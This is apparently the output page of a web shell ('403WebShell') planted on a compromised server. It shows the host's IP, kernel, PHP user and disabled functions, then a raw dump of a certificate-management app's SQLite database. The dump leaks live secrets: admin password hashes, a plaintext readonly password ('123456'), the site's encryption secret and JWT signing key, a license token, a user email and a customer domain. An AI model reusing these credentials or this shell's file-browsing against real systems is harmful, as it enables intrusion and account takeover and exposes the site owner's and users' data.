403WebShell

403Webshell
Server IP : 156.238.232.47 / Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /data/certd/
Upload File :
[ Back ]
Current File : /data/certd/db.sqlite
SQLite format 3@  /LcG/.�*�I����	(J��S�k^�f
##�tablepi_pipelinepi_pipelineCREATE TABLE "pi_pipeline" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "title" integer NOT NULL, "content" varchar(40960) NOT NULL, "keep_history_count" integer, "remark" varchar(100), "status" varchar(100), "disabled" boolean DEFAULT (0), "last_history_time" integer, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "order" integer default 0, group_id integer, "type" varchar(50), "from" varchar(50), "template_id" integer DEFAULT (0), "is_template" boolean DEFAULT (0))�|))�3tablepi_history_logpi_history_logCREATE TABLE "pi_history_log" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "pipeline_id" integer NOT NULL, "history_id" integer NOT NULL, "node_id" varchar(100), "logs" varchar(40960), "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP))�!!�Utablepi_historypi_history
CREATE TABLE "pi_history" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "pipeline_id" integer NOT NULL, "pipeline" varchar(40960), "status" varchar(20), "end_time" datetime, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "trigger_type" varchar(100))�l
�'tablecd_accesscd_accessCREATE TABLE "cd_access" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "name" varchar(100) NOT NULL, "type" varchar(100) NOT NULL, "setting" varchar(1024), "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "encrypt_setting" text)� ''�tablesys_user_rolesys_user_role
CREATE TABLE "sys_user_role" ("role_id" integer NOT NULL, "user_id" integer NOT NULL, PRIMARY KEY ("role_id", "user_id"))9	M'indexsqlite_autoindex_sys_user_role_1sys_user_role�+�)tablesys_usersys_user	CREATE TABLE "sys_user" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "username" varchar(100) NOT NULL, "password" varchar(50) NOT NULL, "nick_name" varchar(50), "avatar" varchar(255), "phone_code" varchar(20), "mobile" varchar(20), "email" varchar(100),"remark" varchar(100), "status" integer NOT NULL DEFAULT (1), "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), password_version integer DEFAULT 1, password_salt varchar(36), "valid_time" integer)�>33�#tablesys_role_permissionsys_role_permissionCREATE TABLE "sys_role_permission" ("role_id" integer NOT NULL, "permission_id" integer NOT NULL, PRIMARY KEY ("role_id", "permission_id"))EY3indexsqlite_autoindex_sys_role_permission_1sys_role_permission�~�Otablesys_rolesys_roleCREATE TABLE "sys_role" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(100) NOT NULL, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP))�p))�tablesys_permissionsys_permissionCREATE TABLE "sys_permission" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "title" varchar(100) NOT NULL, "permission" varchar(100), "parent_id" integer NOT NULL DEFAULT (-1), "sort" integer NOT NULL, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP))P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�Q))�]tableflyway_historyflyway_historyCREATE TABLE "flyway_history" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "timestamp" bigint NOT NULL, "name" varchar NOT NULL, "hash" varcharL&JHK

��B�|:
�
�
j
"��S�o'
�
�
e
	�	�	_	��I<-M	�STEv10027__auto.sql2063ee1abfac45e2b9bff1f3e2fd1762@5M	�ST;v10026__template.sql4cdc980e99b4d51a8f48527bdc88bfd6LMM	�ST/v10025__history_trigger_type.sqlc37a48c9945abc72cc4e98b973d60d6dC;M	�ST&v10024__cname_error.sql49359ce04d5e32ad26598a585b796a9f?3M	�STv10023__site_ip.sqlf3a89a6f1db0084950ff2aedeb27b9c7>1M	�STv10022__plugin.sql68b329da9893e34099c7d8ad5cb9c940>1M	�STv10021__plugin.sql3cdd93af9579264e9db63cd9ba41a82e<-M	�ST�v10020__open.sqld0992fe07437101b4af96dad79fd6ec2FAM	�ST�v10019__text_too_short.sqld41d8cd98f00b204e9800998ecf8427e=/M	�ST�v10018__suite.sqld99e09aa4d2f36a52e1fbf1171d54381B9M	�ST�v10017__field_type.sqld41d8cd98f00b204e9800998ecf8427e=/M	�ST�v10016__index.sql4b6259f3a84d09fe8d6de40b6eee4833FAM	�ST�v10015__pipeline_group.sqlb6e0bca39fa7cbe81678dfeba4940858LMM	�ST�v10014__notification_default.sqla6bcf8ecf3ca77379c6f52cd53a20bc8D=M	�ST�v10013__notification.sqla1370b18fc5e26cffcc74271624f2610NQM	�ST�v10012__disabled_readonly_user.sql7e3b5ce73c0e45bc1cc44878a9ef1ec4NQM	�ST�v10011__cname_provider_user_id.sql8b5c6bb4e65ba4458a8602da3d225f72>
1M	�ST�v10010__plugin.sql8d06f274cff68b80ce22851e9679f31a=/M	�ST�v10009__cname.sqld167e8050c874dc554e9de85e237e5c9FAM	�ST�v10008__access_encrypt.sql2f9aaa30248941edec0f3da2053d0b06C
;M	�ST�v10007__access_text.sqld41d8cd98f00b204e9800998ecf8427eF	AM	�STxv10006__pipeline_title.sql432edd90255944a64a0e429e2412f42cA7M	�STmv10005__password2.sqla7da1a2507904a57d8bea178009c2ee3@5M	�STcv10004__settings.sql86a4bfd9a7eed0c053cceae62700524cA7M	�STXv10003__role_user.sql997ab7702139f115af743aeb0ec1a128@5M	�STNv10002__settings.sqlab6599f5841f1e4030f4f82669fa5271?3M	�STBv10001__certdv2.sqle9cccaf96e99d8798a53f5298f7102ea=/M	�ST6v10000__certd.sqla1ecaae355a84555f3f85f8afc631f02?3M	�ST*v00002__for_pre.sqlf4563a60e551944b1f0e6f36c7949f0b<-M	�STv00001__init.sql0c661bd7afebac224bbaa60bc5bb56e9
��������+	cd_cname_record'	user_settings%sys_settings)flyway_history
sys_user�
sys_role�)sys_permission�
����tQ(���_<
�
�
�
v
K
(
�!�k/			编辑sys:settings:edit�!�j/			查看sys:settings:view� �i%%				系统设置sys:settings)3	授权sys:auth:role:authzdz1�'-	添加sys:auth:per:add�z)9��*3	删除sys:auth:per:remove�z)9D�(/	修改sys:auth:per:edit,z):� /			添加sys:auth:role:add#
5			删除sys:auth:role:remove!1			修改sys:auth:role:edit(/	添加sys:auth:user:add�z)7�0+
5	删除sys:auth:user:remove�z)7a�)	1	修改sys:auth:user:edit,z)7L!1			查看sys:auth:role:view"%'			角色管理sys:auth:role'/	查看sys:auth:per:viewdz)7�e!%%			权限管理sys:auth:per(1	查看sys:auth:user:viewdz)7
"%'			用户管理sys:auth:user%				权限管理sys:auth%		系统管理sys�z#��
����%	普通用户z��i%	只读角色z��i	管理员z��i
<���������������������ztmf_XQJC<	�	�	��		�					
	
		
	
												
������������������}ume]VNF>6.&	�	�	�	�						

			

														�
���es�	;admin$2a$10$d0AqQ8caaB3Yh7Sm3..waukN9J3Zpq1.MwxafnpJXbQRptwpEgrSCadminw�M�2025-07-28 23:18:49.362YM%+	readonlye10adc3949ba59abbe56e057f20f883e只读用户密码：123456w�M��@M	admine10adc3949ba59abbe56e057f20f883eadminw�M��
���		
���			





��h	!1I33user.email用户邮箱设置{"list":["1223447181@qq.com"]}2025-07-28 23:27:382025-07-28 23:27:38
��rJ
����
K	��	#1�!33sys.license授权许可信息{"license":"eyJzdWJqZWN0SWQiOiIiLCJhcHBLZXkiOiIiLCJkdXJhdGlvbiI6MCwiYWN0aXZlVGltZSI6MTc1Mzc3NTc0ODE4OSwidmVyc2lvbiI6MSwiY29kZSI6IiIsInZpcFR5cGUiOiJmcmVlIiwiZXhwaXJlVGltZSI6MCwic2VjcmV0IjoiV1hwSERiN0gxVVhrSUVXR0FZOFFvWGV4blBjMHJ2dTIiLCJzaWduYXR1cmUiOiJHZEFPeEZDMmtkZzN6ZTdBUmdod3hmL25DWG1EWW5ORFc1MjJ4NnEzelBqUkp5OXF6U0JvYlYrdWEyOU1sOUhwNDBJbGRSenVLVXMvWExpTDRXMlZaRmU1ellveWJIcFdBQ2JoZlpPdHNBajdWVnNVakdydTgrTndRZWVzZDZYbFQ3OWVXZEZROVYvWmt1Y0J6SWhVMjR3b00yVVE1QlJycy9TSlVDeUJCdS9Ld1hZS0ZqRWxZZ2V3QkQxYVdKOGVvaTIwMlFQTmhzNzlaME5raXFyVWNGYUpHOVBWK3ZsckZBYVBORE5oeHRtVWh0M3F6eTFIbmIvUDY1dXdQYjNQOEZ2QklhcVJ2bTExTThaUVJFZjdzbjV0Qzh0RUZvR0dPc3dtSFdDUlJnSWdZVnRSd2NQNFZicnJQbk80b1ZxcmFYaDlqRkFDZTVRSjN5cStHS1BlMkE9PSJ9"}private2025-07-28 23:17:512025-07-28 23:17:51R-%33sys.header.menus顶部菜单{}public2025-07-28 23:18:232025-07-28 23:18:23� 	!1�+33sys.public系统公共设置{"registerEnabled":false,"userValidTimeEnabled":false,"passwordLoginEnabled":true,"usernameRegisterEnabled":true,"mobileRegisterEnabled":false,"smsLoginEnabled":false,"emailRegisterEnabled":false,"selfServicePasswordRetrievalEnabled":false,"limitUserPipelineCount":0,"managerOtherUserPipeline":false,"robots":true,"aiChatEnabled":true}public2025-07-28 23:18:232025-07-28 23:18:23�	1�33sys.safe站点安全设置{"hidden":{"enabled":false,"hiddenOpenApi":false,"autoHiddenTimes":5}}private2025-07-28 23:17:512025-07-28 23:17:51V#133sys.license授权许可信息{}private2025-07-28 23:17:512025-07-28 23:17:51�-	!%�O33sys.secret密钥信息{"siteId":"6yPdK-yS5-dg8xWGT_kA_","encryptSecret":"Tmw5vRWxrdalCi64Yvkbv+ThfbAwB1RLVTLSkf1URII="}private2025-07-28 23:17:512025-07-28 23:17:51�:	/1�O33sys.secret.backup密钥信息备份{"siteId":"6yPdK-yS5-dg8xWGT_kA_","encryptSecret":"Tmw5vRWxrdalCi64Yvkbv+ThfbAwB1RLVTLSkf1URII="}private2025-07-28 23:17:512025-07-28 23:17:51�%	#1�133sys.private系统私有设置{"jwtKey":"KjZCf_zXtoFXpv1yG_Onw","encryptSecret":"Tmw5vRWxrdalCi64Yvkbv+ThfbAwB1RLVTLSkf1URII=","httpsProxy":"","httpProxy":"","dnsResultOrder":"","commonCnameEnabled":true,"sms":{"type":"aliyun","config":{}}}private2025-07-28 23:17:512025-07-28 23:17:51�	#%�	33sys.install安装信息{"installTime":1753744671505,"siteId":"6yPdK-yS5-dg8xWGT_kA_"}private2025-07-28 23:17:512025-07-28 23:17:51

UU�(	=3�;;www.puiyeebeautycare.com_acme-challenge.wwwwww-puiyeebeautycare-com.e8f19426d3-92kwrt.cname.certd.com.cn�cname2025-07-28 23:31:58.5632025-07-28 23:31:58.563













����	管理员%普通用户%只读角色
���readonly	admin

��		








���	
���	
L�������pZB+������zcL/sys:settings:view�/sys:settings:edit�%sys:settings�1sys:auth:user:view5sys:auth:user:remove
1sys:auth:user:edit	/sys:auth:user:add'sys:auth:user1sys:auth:role:view5sys:auth:role:remove
1sys:auth:role:edit3sys:auth:role:authz/sys:auth:role:add'sys:auth:role/sys:auth:per:view3sys:auth:per:remove/sys:auth:per:edit-sys:auth:per:add%sys:auth:persys:auth	sys
��		






















��	��]
��	�}++�1tablepi_notificationpi_notificationCREATE TABLE "pi_notification" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "name" varchar(100) NOT NULL, "type" varchar(100) NOT NULL, "setting" text, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), is_default boolean DEFAULT (0))�A//�1tablecd_cname_providercd_cname_providerCREATE TABLE "cd_cname_provider"
(
  "id"                integer      NOT NULL PRIMARY KEY AUTOINCREMENT,
  "domain"            varchar(100) NOT NULL,
  "dns_provider_type" varchar(100) NOT NULL,
  "access_id"         integer      NOT NULL,
  "is_default"        boolean      NOT NULL,
  "remark"            varchar(200),
  "disabled"          boolean      NOT NULL,
  "create_time"       datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time"       datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP)
, user_id integer)�5%%�-tablesys_settingssys_settingsCREATE TABLE "sys_settings" (
                              "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT,
                              "key" varchar(100) NOT NULL,
                              "title" varchar(100) NOT NULL,
                              "setting" varchar(1024),
                              "access" varchar(100) NOT NULL,
                              "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
                              "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�4''�'tableuser_settingsuser_settingsCREATE TABLE "user_settings" (
                              "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT,
                              "user_id" integer NOT NULL,
                              "key" varchar(100) NOT NULL,
                              "title" varchar(100) NOT NULL,
                              "setting" varchar(1024),
                              "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
                              "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�}!!�Etablepi_storagepi_storageCREATE TABLE "pi_storage" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "scope" varchar NOT NULL, "namespace" varchar NOT NULL, "version" varchar(100),"key" varchar(100), "value" varchar(40960), "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP))�##�tablepi_pipelinepi_pipelineCREATE TABLE "pi_pipeline" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_��
tablepi_pluginpi_pluginCREATE TABLE "pi_plugin"
(
  "id"          integer      NOT NULL PRIMARY KEY AUTOINCREMENT,
  "name"        varchar(100) NOT NULL,
  "icon"        varchar(100),
  "title"       varchar(200),
  "desc"        varchar(500),
  "group"       varchar(100),
  "version"     varchar(100),
  "setting"     text,
  "sys_setting" text,
  "content"     text,
  "type"        varchar(100) NOT NULL,
  "disabled"    boolean      NOT NULL,
  "create_time" datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time" datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP)
, "pluginType" varchar(100), "metadata" text, "author" varchar(100), "extra" text)�J++�Ktablecd_cname_recordcd_cname_recordCREATE TABLE "cd_cname_record"
(
  "id"                integer      NOT NULL PRIMARY KEY AUTOINCREMENT,
  "user_id"           integer      NOT NULL,
  "domain"            varchar(100) NOT NULL,
  "host_record"       varchar(100) NOT NULL,
  "record_value"      varchar(200) NOT NULL,
  "cname_provider_id" integer      NOT NULL,
  "status"            varchar(100) NOT NULL,
  "create_time"       datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time"       datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP)
, "error" varchar(4096))
�U�
�
 	�	c�t�/�?�V�d�u��5�U��3pA9pA9#�indexindex_template_user_idpi_templateCCREATE INDEX "index_template_user_id" ON "pi_template" ("user_id")l@7!�
indexindex_site_ip_site_idcd_site_ipBCREATE INDEX "index_site_ip_site_id" ON "cd_site_ip" ("site_id")l?7!�
indexindex_site_ip_user_idcd_site_ipACREATE INDEX "index_site_ip_user_id" ON "cd_site_ip" ("user_id")u>;'�indexindex_sub_domain_domainpi_sub_domain@CREATE INDEX "index_sub_domain_domain" ON "pi_sub_domain" ("domain")x=='�indexindex_sub_domain_user_idpi_sub_domain?CREATE INDEX "index_sub_domain_user_id" ON "pi_sub_domain" ("user_id")m<7#�
indexindex_open_key_key_idcd_open_key>CREATE INDEX "index_open_key_key_id" ON "cd_open_key" ("key_id")p;9#�indexindex_open_key_user_idcd_open_key=CREATE INDEX "index_open_key_user_id" ON "cd_open_key" ("user_id")z:=%�indexindex_site_info_pipelinecd_site_info<CREATE INDEX "index_site_info_pipeline" ON "cd_site_info" ("pipeline_id")q99%�indexindex_site_info_domaincd_site_info;CREATE INDEX "index_site_info_domain" ON "cd_site_info" ("domain")t8;%�indexindex_site_info_user_idcd_site_info:CREATE INDEX "index_site_info_user_id" ON "cd_site_info" ("user_id")z7=%�indexindex_cert_info_pipelinecd_cert_info9CREATE INDEX "index_cert_info_pipeline" ON "cd_cert_info" ("pipeline_id")t6;%�indexindex_cert_info_domainscd_cert_info8CREATE INDEX "index_cert_info_domains" ON "cd_cert_info" ("domains")q59%�indexindex_cert_info_domaincd_cert_info7CREATE INDEX "index_cert_info_domain" ON "cd_cert_info" ("domain")t4;%�indexindex_cert_info_user_idcd_cert_info6CREATE INDEX "index_cert_info_user_id" ON "cd_cert_info" ("user_id")x3='�indexindex_user_suite_user_idcd_user_suite5CREATE INDEX "index_user_suite_user_id" ON "cd_user_suite" ("user_id")m21�indexindex_trade_pay_nocd_trade4CREATE INDEX "index_trade_pay_no" ON "cd_trade" ("pay_type", "pay_no")n15�indexindex_trade_trade_nocd_trade3CREATE UNIQUE INDEX "index_trade_trade_no" ON "cd_trade" ("trade_no")d03�indexindex_trade_user_idcd_trade2CREATE INDEX "index_trade_user_id" ON "cd_trade" ("user_id")~/C'�indexindex_user_settings_user_iduser_settings1CREATE INDEX "index_user_settings_user_id" ON "user_settings" ("user_id")m.-)�indexindex_permissionsys_permission0CREATE INDEX "index_permission" ON "sys_permission" ("permission")^-/indexindex_user_mobilesys_user/CREATE INDEX "index_user_mobile" ON "sys_user" ("mobile")[,-{indexindex_user_emailsys_user.CREATE INDEX "index_user_email" ON "sys_user" ("email")l+7!�
indexindex_storage_user_idpi_storage-CREATE INDEX "index_storage_user_id" ON "pi_storage" ("user_id")�*?!�9indexindex_storage_default_getpi_storage,CREATE INDEX "index_storage_default_get" ON "pi_storage" ("scope", "namespace", "key")�)E/�)indexindex_pipeline_group_user_idpi_pipeline_group+CREATE INDEX "index_pipeline_group_user_id" ON "pi_pipeline_group" ("user_id")p(9#�indexindex_pipeline_user_idpi_pipeline*CREATE INDEX "index_pipeline_user_id" ON "pi_pipeline" ("user_id")�'A+�!indexindex_notification_user_idpi_notification)CREATE INDEX "index_notification_user_id" ON "pi_notification" ("user_id")�G)�-indexindex_history_log_pipeline_idpi_history_log(CREATE INDEX "index_history_log_pipeline_id" ON "pi_history_log" ("pipeline_id")|%?)�indexindex_history_log_user_idpi_history_log'CREATE INDEX "index_history_log_user_id" ON "pi_history_log" ("user_id")l$7!�
indexindex_history_user_idpi_history&CREATE INDEX "index_history_user_id" ON "pi_history" ("user_id")�#A+�!indexindex_cname_record_useeE3�indexindex_domain_domaincd_domainGCREATE INDEX "index_domain_domain" ON "cd_domain" ("domain")hD5�	indexindex_domain_user_idcd_domainFCREATE INDEX "index_domain_user_id" ON "cd_domain" ("user_id")|CA#�!indexindex_pipeline_template_idpi_pipelineECREATE INDEX "index_pipeline_template_id" ON "pi_pipeline" ("template_id")|BA#�!indexindex_template_pipeline_idpi_templateDCREATE INDEX "index_template_pipeline_id" ON "pi_template" ("pipeline_id")
>F�	4)�>6�l%%�tablecd_site_infocd_site_infoCREATE TABLE "cd_site_info"
(
  "id"                integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"           integer,

  "name"              varchar(100),
  "domain"            varchar(100),

  "https_port"        integer,
  "cert_domains"      varchar(10240),
  "cert_info"         varchar(10240),
  "cert_provider"     varchar(100),
  "cert_status"       varchar(100),
  "cert_expires_time" integer,
  "last_check_time"   integer,
  "check_status"      varchar(100),
  "error"             varchar(4096),
  "pipeline_id"       integer,
  "cert_info_id"      integer,
  "disabled"          boolean  NOT NULL DEFAULT (false),

  "create_time"       datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time"       datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
, "ip_check" boolean, "ip_count" integer, "ip_error_count" integer)�y%%�5tablecd_cert_infocd_cert_infoCREATE TABLE "cd_cert_info"
(
  "id"            integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"       integer,
  "domain"        varchar(100),
  "domains"       varchar(10240),
  "domain_count"  integer,
  "pipeline_id"   integer,
  "apply_time"    integer,
  "from_type"     varchar(100),
  "cert_provider" varchar(100),
  "expires_time"  integer,
  "cert_info"     text,
  "cert_file"     varchar(100),
  "disabled"      boolean  NOT NULL DEFAULT (false),
  "create_time"   datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time"   datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�''�Otablecd_user_suitecd_user_suiteCREATE TABLE "cd_user_suite"
(
  "id"                integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"           integer,
  "product_id"        integer,
  "trade_id"          integer,
  "icon"              varchar(100),
  "title"             varchar(100),
  "content"           text,
  "duration"          integer,
  "product_type"      varchar(50),
  "deploy_count_used" integer,
  "is_present"        boolean,
  "is_bootstrap"      boolean,
  "is_empty"          boolean,
  "disabled"          boolean  NOT NULL DEFAULT (false),
  "active_time"       integer,
  "expires_time"      integer,
  "create_time"       datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time"       datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�
�mtablecd_tradecd_tradeCREATE TABLE "cd_trade"
(
  "id"          integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "trade_no"    varchar(100),
  "user_id"     integer,
  "product_id"  integer,
  "title"       varchar(1024),
  "desc"        varchar(2048),
  "num"         integer,
  "duration"    integer,
  "price"       integer,
  "amount"      integer,
  "remark"      varchar(2048),
  "status"      varchar(100),
  "pay_type"    varchar(50),
  "pay_time"    integer,
  "pay_no"      varchar(100),
  "end_time"    integer,
  "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�!!�Itablecd_productcd_productCREATE TABLE "cd_product"
(
  "id"              integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "icon"            varchar(100),
  "title"           varchar(100),
  "type"            varchar(100),
  "content"         varchar(4096),
  "duration_prices" varchar(10240),
  "duration"        integer,
  "price"           integer,
  "intro"           varchar(10240),
  "order"           integer,
  "support_buy"     boolean,
  "disabled"        boolean  NOT NULL DEFAULT (false),
  "create_time"     datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time"     datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�7//�tablepi_pipeline_grouppi_pipeline_groupCREATE TABLE "pi_pipeline_group"
(
  "id"          integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"     integer      NOT NULL,
  "name"        varchar(100) NOT NULL,
  "icon"        varchar(100),
  "favorite"    boolean      NOT NULL DEFAULT (false),
  "create_time" datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time" datetime     NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)
^
k,�
gfV	(J��S�k^�f
##�tablepi_pipelinepi_pipelineCREATE TABLE "pi_pipeline" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "title" integer NOT NULL, "content" varchar(40960) NOT NULL, "keep_history_count" integer, "remark" varchar(100), "status" varchar(100), "disabled" boolean DEFAULT (0), "last_history_time" integer, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "order" integer default 0, group_id integer, "type" varchar(50), "from" varchar(50), "template_id" integer DEFAULT (0), "is_template" boolean DEFAULT (0))�|))�3tablepi_history_logpi_history_logCREATE TABLE "pi_history_log" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "pipeline_id" integer NOT NULL, "history_id" integer NOT NULL, "node_id" varchar(100), "logs" varchar(40960), "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP))�!!�Utablepi_historypi_history
CREATE TABLE "pi_history" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "pipeline_id" integer NOT NULL, "pipeline" varchar(40960), "status" varchar(20), "end_time" datetime, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "trigger_type" varchar(100))�l
�'tablecd_accesscd_accessCREATE TABLE "cd_access" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "user_id" integer NOT NULL, "name" varchar(100) NOT NULL, "type" varchar(100) NOT NULL, "setting" varchar(1024), "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "encrypt_setting" text)� ''�tablesys_user_rolesys_user_role
CREATE TABLE "sys_user_role" ("role_id" integer NOT NULL, "user_id" integer NOT NULL, PRIMARY KEY ("role_id", "user_id"))9	M'indexsqlite_autoindex_sys_user_role_1sys_user_role�+�)tablesys_usersys_user	CREATE TABLE "sys_user" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "username" varchar(100) NOT NULL, "password" varchar(50) NOT NULL, "nick_name" varchar(50), "avatar" varchar(255), "phone_code" varchar(20), "mobile" varchar(20), "email" varchar(100),"remark" varchar(100), "status" integer NOT NULL DEFAULT (1), "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), password_version integer DEFAULT 1, password_salt varchar(36), "valid_time" integer)�>33�#tablesys_role_permissionsys_role_permissionCREATE TABLE "sys_role_permission" ("role_id" integer NOT NULL, "permission_id" integer NOT NULL, PRIMARY KEY ("role_id", "permission_id"))EY3indexsqlite_autoindex_sys_role_permission_1sys_role_permission�~�Otablesys_rolesys_roleCREATE TABLE "sys_role" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(100) NOT NULL, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP))�p))�tablesys_permissionsys_permissionCREATE TABLE "sys_permission" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "title" varchar(100) NOT NULL, "permission" varchar(100), "parent_id" integer NOT NULL DEFAULT (-1), "sort" integer NOT NULL, "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP), "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP))P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�Q))�]tableflyway_historyflyway_historyCREATE TABLE "flyway_history" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "timestamp" bigint NOT NULL, "name" varchar NOT NULL, "hash" varchar, "success" boolean)
8t&W8���
�
"��
�
 ��tablecd_domaincd_domain!CREATE TABLE "cd_domain"
(
  "id"          integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"     integer,
  "domain" varchar(512),
  challenge_type varchar(50),
  dns_provider_type varchar(50),
  dns_provider_access bigint,
  http_uploader_type varchar(50),
  http_uploader_access bigint,
  http_upload_root_dir varchar(512),
  "disabled"    boolean  NOT NULL DEFAULT (false),
  "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�L##�_tablepi_templatepi_template CREATE TABLE "pi_template"
(
  "id"          integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"     integer,
  "pipeline_id" integer,
  "title"       varchar(1024),
  "content"     text,
  "order"       integer,
  "desc"        varchar(1024),
  "disabled"    boolean  NOT NULL DEFAULT (false),
  "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�b!!�tablecd_site_ipcd_site_ipCREATE TABLE "cd_site_ip"
(
  "id"                integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"           integer,
  "site_id"           integer,
  "ip_address"        varchar(100),
  "cert_domains"      varchar(10240),
  "cert_provider"     varchar(100),
  "cert_status"       varchar(100),
